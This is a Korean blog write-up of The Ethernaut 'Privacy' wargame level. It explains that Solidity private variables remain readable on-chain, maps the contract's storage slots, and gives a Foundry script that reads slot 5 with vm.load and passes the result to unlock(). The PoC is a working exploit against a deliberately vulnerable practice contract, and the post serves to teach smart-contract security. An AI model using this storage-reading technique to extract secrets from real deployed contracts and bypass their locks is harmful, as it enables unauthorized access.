The Ethernaut : Privacy

세인·2025년 12월 22일

이전에 Vault 문제에서 봤던 것 처럼

Solidity에서 private / public 같은 가시성 키워드는

"다른 컨트랙트가 이 변수를 직접 읽을 수 있는지"를 막는 언어 레벨 규칙일 뿐,
블록체인 위에서 데이터를 완전히 숨겨주는 기능이 아님

Solidity storage 규칙

  • 기본적으로 한 슬롯 = 32바이트
  • bool/uint8/uint16 같은 작은 값들은 가능하면 같은 슬롯에 차곡차곡(pack) 들어감
  • uint256, bytes32처럼 32바이트 꽉 차는 애는 슬롯 하나를 통째로 씀
  • bytes32[3] 같은 고정 배열연속 슬롯을 씀

문제 코드

key 값을 알아내서 unlock() 을 성공시키는 것이 목표

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

로직 정리

  1. private 변수는 vm.load를 이용하면 얼마든지 읽을 수 있음
  2. 우리가 읽고자 하는 data 변수가 몇번째 슬롯에 있는지 알아야 함
  • bool public locked > 0번째 슬롯
  • uint256 public ID > 1번째 슬롯 통으로 사용,
  • uint8 flattening (1B)
  • uint8 denomination (1B)
  • uint16 awkwardness (2B) > 세 변수가 2번째 슬롯에 차곡차곡 쌓임(Packed)
  • bytes32 data[0] > 3번째 슬롯
  • bytes32 data[1] > 4번째 슬롯
  • bytes32 data[2] > 5번째 슬롯
  1. 5번째 슬롯에서 data를 읽어와서 bytes16으로 형 변환 후 unlock 함수에 인자로 넣어주면 문제 해결

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Privacy} from "../src/Privacy.sol";

contract PoC is Script {
    address constant target = 0xC052E2Dd25a8A3E6d4bC052e3777E20c113B74E9;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        
        //5번째 슬롯의 데이터 읽어오기
        bytes32 answer = vm.load(target, bytes32(uint256(5)));
        Privacy(target).unlock(bytes16(answer));

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글